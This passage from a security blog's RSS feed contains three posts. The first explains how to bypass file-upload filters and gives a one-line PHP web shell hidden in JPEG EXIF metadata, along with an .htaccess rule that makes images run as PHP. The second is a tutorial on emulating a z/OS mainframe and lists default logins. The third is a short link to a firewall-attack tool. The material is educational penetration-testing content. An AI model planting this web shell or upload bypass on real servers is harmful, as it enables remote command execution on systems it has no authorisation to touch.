<div id="attachment_1667" style="width: 590px" class="wp-caption aligncenter"><img class="size-medium wp-image-1667" alt="HTTP POST content-type tampering" src="/wp-content/uploads/2013/09/CapturFiles_13-580x313.png" width="580" height="313" srcset="/wp-content/uploads/2013/09/CapturFiles_13-580x313.png 580w, /wp-content/uploads/2013/09/CapturFiles_13-624x337.png 624w, /wp-content/uploads/2013/09/CapturFiles_13.png 902w" sizes="(max-width: 580px) 100vw, 580px" /><p class="wp-caption-text">HTTP POST content-type tampering</p></div>
<p>Thus, the content-type filtering is bypassed.</p>
<p>Another method consists in checking the file name <strong>extension</strong>. If simple bypasses like playing with lowercase (<code>.PHP</code> instead of <code>.php</code>), using multiple extension (<code>.php.foo</code>) or triggering the NULL byte (<code>.php%00.jpg</code>) do not work, there is a last chance by uploading a crafted image.</p>
<p>JPEG files are convenient for code injection: they support EXIF metadata, which include a <em>comment</em> field where anything can be written, as long as it is on a single line.</p>
<p>So, when a web server parses the image content, it may interpret the PHP code inside if it is improperly secured.</p>
<p>The method is however totally dependent on the ability to upload a <code>.htaccess</code> file, which may be a long way to go.</p>
<p>Though, one advantage of using an image in most upload vulnerability exploitation cases is stealth: an image will always look less suspicious than a dropped <code>.php</code> file.</p>
<p>Anyway, for fun, here is how to do:</p>
<ol class="split start">
<li>Upload a <code>.htaccess</code> file that contains:
<pre>AddType application/x-httpd-php .jpg</pre>
</li>
<li>Take a JPEG file of your choice, install the <a title="Jhead" href="http://www.sentex.net/~mwandel/jhead/">jhead</a> tool (there are many alternatives, like <a title="exiftool" href="http://www.sno.phy.queensu.ca/~phil/exiftool/">exiftool</a>, but this one is straightforward).</li>
<li>House-keeping (delete extra headers):
<pre>jhead -purejpg &lt;filename&gt;.jpg</pre>
</li>
<li>Edit EXIF JPEG comment:
<pre>jhead -ce &lt;filename&gt;.jpg</pre>
</li>
<li>Copy / paste your PHP code, like this one for instance (must fit in one line):
<pre>&lt;style&gt;body{font-size: 0;}h1{font-size: 12px}&lt;/style&gt;&lt;h1&gt;&lt;?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);}else{echo '&lt;img src="./clean_imagejs';}__halt_compiler();?&gt;&lt;/h1&gt;</pre>
<p>This code just reads a command from the cmd parameter when it is set. If it is absent, then for more discretion it displays another image (clean_image.jpg, that you would have uploaded previously, for instance). The CSS style trick (font size of 0) just hides some garbage that comes from the JPEG header.</li>
<li>Just upload the file and test it! <a title="DVWA" href="http://www.dvwa.co.uk">DVWA</a> is a convenient and safe way for that.</li>
</ol>
<p>Note this <a title="php image upload security how not to do it" href="http://nullcandy.com/php-image-upload-security-how-not-to-do-it/">nice article</a> as a reference on the topic, and the solution that is suggested to fix such a vulnerability: disabling one way or another script execution on the upload directory and use random server-side file renaming.</p>
]]></content:encoded>
			<wfw:commentRss>/2013/09/29/file-upload-vulnerabilities-appending-php-code-to-an-image.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>My goodness, I got mainframed!</title>
		<link>/2013/05/28/my-goodness-i-got-mainframed.html</link>
		<comments>/2013/05/28/my-goodness-i-got-mainframed.html#comments</comments>
		<pubDate>Tue, 28 May 2013 12:20:17 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[hercules390]]></category>
		<category><![CDATA[ISPF]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[mainframe]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[simulation]]></category>
		<category><![CDATA[tn3270]]></category>
		<category><![CDATA[TSO]]></category>
		<category><![CDATA[tun]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[z/os]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1587</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1587</guid>
		<description><![CDATA[Mainframes are not dead, why not pentesting it? I just watched the presentation of Phil Young at Shmoocon 2013: &#8220;Mainframed: the secrets inside that black box&#8220;. I truly loved it. I thought mainframes where disappearing, but I was surprised to see that it still alive. I was even more surprised to find out that they...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2013/05/28/my-goodness-i-got-mainframed.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>Mainframes are not dead, why not pentesting it?</p>
<p>I just watched the presentation of <strong>Phil Young</strong> at <a href="https://www.shmoocon.org/shmoocon_2013" target="_blank">Shmoocon 2013</a>: &#8220;<a href="https://www.shmoocon.org/2013/videos/Shmoocon%202013%20-%20Mainframed%20The%20Secrets%20Inside%20that%20Black%20Box.mp4" target="_blank">Mainframed: the secrets inside that black box</a>&#8220;. I truly loved it. I thought mainframes where disappearing, but I was surprised to see that it still alive. I was even more surprised to find out that they have some Unix interface, and that there is a emulator for x86. Where it was less of a surprise is that their security is pretty low :-)</p>
<p>Anyway, don&#8217;t miss watching the video. <a href="http://mainframed767.tumblr.com" target="_blank">Phil&#8217;s blog, &#8220;Soldier of Fortran&#8221;</a>, is also a gold mine, he wrote many tips, tutos and tools.</p>
<p>It made me very curious and just in case I find some IBM Z/OS during a pentest, I though it would be nice to run it.</p>
<h1>Installing</h1>
<blockquote><p>Disclaimer:</p>
<p>Although some Z/OS files are available for download on the Internet, you must own a legal license of Z/OS. This tutorial is exclusively for education-purpose, use it only for testing, never in production nor for illegal activities.</p>
<p>Also, I am a noob in the area. So if some of you are skilled and find mistakes or improvements, please let me know in the comments. I give a great importance to your feedback and it encourages me to continue.</p></blockquote>
<p>I glued the pieces in the following steps (Mac OS oriented and tested only with it, the same should work for Linux with minor adjustments and see the reference otherwise):</p>
<ol class="split start">
<li>Download and install <a href="http://www.brown.edu/cis/tn3270/" target="_blank">tn3270</a> (Mac) or <a href="http://x3270.bgp.nu/download.html" target="_blank">x3270</a> (Windows, Linux, Mac): this will be the client terminal used to connect to the mainframe.</li>
<li>Download the emulator, <a href="http://www.hercules-390.eu" target="_blank">Hercules</a>. Install it, following the README instructions relevant to your system. Note that the instructions for Mac OS are outdated and won&#8217;t work. I followed Phil&#8217;s instructions:</li>
</ol>
<pre>git clone git://github.com/s390guy/hercules-390.git
cd hercules-390
sh autogen.sh
./configure
make
make install</pre>
<ol class="split">
<li>Take some IBM Z/OS release, and install it:</li>
</ol>
<pre>mv IBM\ ZOS\ 1.10/Z110SA/images/Z110\ -\ Copy /YOUR/PATH/HERE/Z110
cd /YOUR/PATH/HERE/Z110
mkdir PRTR
cd CONF
cp ADCD_LINUX.CONF ADCD_MAC.CONF
sed -i '' 's/\/home\/ehrocha\/hercules\/images/\/YOUR\/PATH\/HERE/g' ADCD_MAC.CONF
sed -i '' 's/CNSLPORT \{2\}23/CNSLPORT  3270/g' ADCD_MAC.CONF
sed -i '' 's/0E20.2   LCS  10.0.1.20/0E20.2 3088 CTCI \/dev\/tun0 1500 10.10.10.11 10.10.10.12 255.255.255.255/g' ADCD_MAC.CONF</pre>
<ol class="split">
<li>Getting the network to work on Mac OS require some extra steps (skip it if your are using Linux).</li>
</ol>
<p><a href="http://sourceforge.net/projects/tuntaposx/files/tuntap/20111101/">Download tuntaposx</a>, uncompress and install the package. No reboot it necessary, you should now have plenty of tun* (and tap*) interfaces:</p>
<pre>$ ls /dev/tun*
/dev/tun0 /dev/tun10 /dev/tun12 /dev/tun14 /dev/tun2 /dev/tun4 /dev/tun6 /dev/tun8
/dev/tun1 /dev/tun11 /dev/tun13 /dev/tun15 /dev/tun3 /dev/tun5 /dev/tun7 /dev/tun9</pre>
<ol class="split">
<li>Okay, now we can start the emulator (we need to sudo to access to the tun0 interface, among other reasons):</li>
</ol>
<pre>sudo hercules -f ADCD_MAC.CONF</pre>
<p>First of all, checks that the network is fine:</p>
<pre># From Mac OS:
$ ifconfig tun0
tun0: flags=8851&lt;UP,POINTOPOINT,RUNNING,SIMPLEX,MULTICAST&gt; mtu 1500
 inet 10.10.10.12 --&gt; 10.10.10.11 netmask 0xff000000 
 open (pid 98687)

# From Hercules:
herc =====&gt; devlist
[...]
HHC02279I 0:0E20 3088 CTCI 10.10.10.11/10.10.10.12 (tun0) IO[0] open
HHC02279I 0:0E21 3088 CTCI 10.10.10.11/10.10.10.12 (tun0) IO[0] open</pre>
<p>Open <strong>tn3270</strong> and connect with default settings on localhost:</p>
<p><img class="size-full wp-image-1601 aligncenter" alt="tn3270 connection" src="/wp-content/uploads/2013/05/tn3270-connection.png" width="423" height="219" /></p>
<p>And then in the hercules terminal, enter <code>ipl a80</code></p>
<div id="attachment_1602" style="width: 590px" class="wp-caption aligncenter"><img class="size-medium wp-image-1602 " alt="boot zos" src="/wp-content/uploads/2013/05/boot-zos-580x474.png" width="580" height="474" srcset="/wp-content/uploads/2013/05/boot-zos-580x474.png 580w, /wp-content/uploads/2013/05/boot-zos-624x510.png 624w, /wp-content/uploads/2013/05/boot-zos.png 775w" sizes="(max-width: 580px) 100vw, 580px" /><p class="wp-caption-text">Hercules390 console: booting Z/OS</p></div>
<p><strong>It is very long to boot, don&#8217;t worry. You will actually have to use 2 terminals</strong>, so open the second one, which will show the logon screen (see screenshot below) after booting is done. It will be used for &#8220;userland&#8221; aka TSO commands.</p>
<p>The first terminal shall be kept open as the master console, which receive system logs and can be used for &#8220;system-level&#8221;* commands (e.g root level).</p>
<div id="attachment_1620" style="width: 590px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2013/05/logon-screen.png" rel="lightbox[1587]"><img class="size-medium wp-image-1620" alt="Z/OS &quot;Duza&quot; logon screen" src="/wp-content/uploads/2013/05/logon-screen-580x462.png" width="580" height="462" srcset="/wp-content/uploads/2013/05/logon-screen-580x462.png 580w, /wp-content/uploads/2013/05/logon-screen-624x498.png 624w, /wp-content/uploads/2013/05/logon-screen.png 684w" sizes="(max-width: 580px) 100vw, 580px" /></a><p class="wp-caption-text">Z/OS &#8220;Duza&#8221; logon screen</p></div>
<ol class="split">
<li>At the prompt, enter <code>TSO</code>, then <code>IBMUSER</code> as the login, and <code>SYS1</code> as the password. It will automatically launch the ISPF menu:</li>
</ol>
<div id="attachment_1619" style="width: 590px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2013/05/ispf.png" rel="lightbox[1587]"><img class="size-medium wp-image-1619" alt="ISPF menu" src="/wp-content/uploads/2013/05/ispf-580x462.png" width="580" height="462" srcset="/wp-content/uploads/2013/05/ispf-580x462.png 580w, /wp-content/uploads/2013/05/ispf-624x498.png 624w, /wp-content/uploads/2013/05/ispf.png 684w" sizes="(max-width: 580px) 100vw, 580px" /></a><p class="wp-caption-text">ISPF menu</p></div>
<ol class="split">
<li>Now, you are good to go ahead with Z/OS commands&#8230;</li>
</ol>
<p>This video demonstrates the boot process:</p>
<p><iframe src="http://player.vimeo.com/video/67114095" height="281" width="500" allowfullscreen="" frameborder="0"></iframe></p>
<p><a href="http://vimeo.com/67114095">Z/OS emulation with Hercules390</a> from <a href="http://vimeo.com/user12629826">phocean</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<ol class="split">
<li>Now, let&#8217;s get the network up.</li>
</ol>
<p><strong>Prepare Mac OS</strong>:</p>
<ul>
<li>Make sure that the Mac OS firewall is deactivated or/and that you configured pf to allow the <code>tun0</code> interface (another article coming soon on this topic).</li>
<li>Add a route to <code>tun0</code></li>
</ul>
<pre>sudo route add -net 10.10.10.0/24 -interface tun0</pre>
<ul>
<li><span style="line-height: 14px;">You may want to activate ip forwarding, to have the Z/OS reach other interfaces through the kernel:</span></li>
</ul>
<pre>sudo sysctl -w net.inet.ip.forwarding=1</pre>
<p>Now every thing is in place to allow the mainframe to reach the outside. Further routing considerations are outside the scope of this article.</p>
<p><strong>Prepare Z/OS</strong>:</p>
<ul>
<li>In TSO menu, choose 3 (utilities), 4 (Dslist)</li>
<li>Click on the line besides <code>Dsname Level</code> and type-in <code>ADCD</code> and then press <code>[Enter]</code>. ADCD is what is called a dataset.</li>
<li>In the Command column, on the left of <code>ADCD.Z110S.PROCLIB</code>, type in <code>e</code> (stands for edit, reproduce the same pattern when I say &#8220;edit&#8221; in the following steps)</li>
<li>Edit the TCPIP member, and make sure that the <code>//PROFILE</code> line looks like this:</li>
</ul>
<pre>//PROFILE DD DISP=SHR,DSN=ADCD.Z110S.TCPPARMS(DUZA)</pre>
<p>You could change the <code>DUZA</code> string, but you would have to make sure that the corresponding profile exists in <code>ADCD.Z110S.TCPPARMS</code> (see TODO section).</p>
<ul>
<li>Go back to <code>Dslist</code> page using end or exit as a command. This time, type <code>DUZA</code> as dataset.</li>
<li>Edit the <code>TCPARMS</code> member, then <code>PROFILE</code>. Once in the file, edit carefuly the following lines (at the bottom, around line 90):</li>
</ul>
<pre>000090 DEVICE CTCA1 CTC e20
000091 LINK CTC1 CTC 1 CTCA1
000092
000093 HOME
000094    10.10.10.11  CTC1
000095
000096 GATEWAY
000097    10.10.10.12  = CTC1 1492 HOST
000098
000099 DEFAULTNET 10.10.10.12 CTC1 1492 0
[...]
000109 START CTCA1</pre>
<ul>
<li>In the console window, restart the network stack:</li>
</ul>
<pre>stop tcpip
# wait for termination message
start tcpip</pre>
<ul>
<li>If every is going well, the tunnel should get up and you should be able to ping both side (use the ping command in Z/OS from the command menu).</li>
</ul>
<p>This video illustrates some of this networking stuff:</p>
<p><iframe src="http://player.vimeo.com/video/69912699" height="281" width="500" allowfullscreen="" frameborder="0"></iframe></p>
<p><a href="http://vimeo.com/69912699">Hercules390 and Z/OS, getting the network up</a> from <a href="http://vimeo.com/user12629826">phocean</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h1>Useful commands</h1>
<ul>
<li>Ifconfig</li>
</ul>
<pre>netstat home</pre>
<ul>
<li>Shutdown</li>
</ul>
<pre># in "system" terminal:
S SHUTSYS
Z EOD

# then, once finished, in Hercules:
exit</pre>
<h1>Tips</h1>
<ul>
<li>I was stuck at an early moment during the boot process with:</li>
</ul>
<pre>IXC208I THE RESPONSE TO MESSAGE IXC420D IS INCORRECT: IS NOT A VALID 
ACTION 
 IXC420D REPLY I TO INITIALIZE SYSPLEX ADCDPL, OR R TO REINITIALIZE 
XCF.     
  REPLYING I WILL IMPACT OTHER ACTIVE SYSTEMS.</pre>
<p>You can go over it by entering this in your terminal session (tn3270):</p>
<pre>R 00, I</pre>
<ul>
<li><span style="line-height: 14px;">After the long process, I actually had to open a second connection with the terminal to get the logon screen. So, just check from time to time instead of waiting for nothing in front of the first window.</span></li>
<li>To logoff, type <code>X</code> from the ISPF main menu. The first time, you have to configure the printer. Choose <code>LOCAL</code> as print mode, and give it any name as <code>Local printer ID</code>. Then press <code>[Enter]</code>, and if you are asked for a <code>sysout class</code>, choose <code>"J"</code>. You should be back in TSO, where you can execute <code>logoff</code>. Next time, it will default to these values, so you should get straight from ISPF to TSO.</li>
<li>Don&#8217;t forget that TSO is a CLI where you can type Z/OS and Unix commands. You actually don&#8217;t need or have to use ISPF, so don&#8217;t hesitate to use it!</li>
</ul>
<p>Of course, a good source of information is the <a href="http://publib.boulder.ibm.com/infocenter/zos/basics/index.js">hercules390 forum</a> may also be of help.</p>
<p>Voilà, happy hacking! WTF, it seems I got mainframed too! Did you?</p>
<p>Big thanks again to Phil Young for catching our attention on this stuff.</p>
<h1>TODO</h1>
<ul>
<li><span style="line-height: 14px;">Understand and get rid off the DUZO profile: you probably noticed that we are using the DUZO  profile to load the network stack (which is after the name of the torrent, and does probably more stuff behind). For example, there is no DUZO profile in ADCD.Z110S.TCPPARMS, so I still have no idea how it actually gets loaded. It has been only 2 days that I work on Z/OS, so I still have to read the doc (and any help is welcome).</span></li>
<li>Change the logon screen (see references).</li>
</ul>
<h1>References</h1>
<ul>
<li><a href="http://mainframed767.tumblr.com/post/27787457789/hercules-3-08-on-mac-os-x-lion" target="_blank">Hercules 3.08 on Mac OS X Lion</a></li>
<li><a href="http://mainframed767.tumblr.com/post/40836059586/instructions-to-installing-z-os-in-hercules" target="_blank">Instructions to installing z/OS in Hercules</a></li>
<li><a href="http://pastebin.com/raw.php?i=PHiT8jmE" target="_blank">Installin&#8217; that sweet sweet big iron on your Linux laptop or server</a> (<a href="/wp-content/uploads/2013/05/install_zOS_in_Hercules.txt">local mirror</a>)</li>
<li><a href="http://kat.ph/ibm-z-os-emulation-files-t5780374.html" target="_blank">Z/OS files</a></li>
<li><a href="http://patata.homeip.net/blog/hercules-and-zos-tcp-ip-networking-for-adcd-versions" target="_blank">Hercules and Z/OS TCP/IP networking for ADCD versions</a></li>
<li><a href="http://mainframed.wordpress.com/2012/06/17/changing-the-logon-screen-on-the-mainframe-zos-vtam-in-adcd/" target="_blank">Changing the logon screen on the mainframe</a></li>
<li><a href="http://tuntaposx.sourceforge.net/">tuntaposx</a></li>
<li><a href="http://www.js">TSO tutorial</a></li>
<li><a href="http://answers.uchicago.edu/page.php?id=19482#GETTINGM" target="_blank">Mainframe &#8211; using TSO and ISPF</a></li>
<li><a href="http://publib.boulder.ibm.com/infocenter/zos/basics/index.js">IBM online documentation</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>/2013/05/28/my-goodness-i-got-mainframed.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Opensvp</title>
		<link>/2012/06/15/opensvp.html</link>
		<pubDate>Fri, 15 Jun 2012 21:32:44 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Firewall]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[netfilter]]></category>
		<category><![CDATA[opensvp]]></category>
		<category><![CDATA[pentest]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1252</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1252</guid>
		<description><![CDATA[I have yet to test it, but I was impressed by the demo: Opensvp is a security tool implementing attacks to be able to the resistance of firewall to protocol level attack. It implements classic attacks as well as some new kind of attacks against application layer gateway (called helper in the Netfilter world). Download...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2012/06/15/opensvp.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>I have yet to test it, but I was impressed by the demo:</p>
<blockquote><p>Opensvp is a security tool implementing attacks to be able to the resistance of firewall to protocol level attack. It implements classic attacks as well as some new kind of attacks against application layer gateway (called helper in the Netfilter world).</p></blockquote>
<p>Download and more <a title="Opensvp" href="https://home.regit.org/software/opensvp/">there</a>.</p>
]]></content:encoded>
			</item>
	</channel>
</rss>
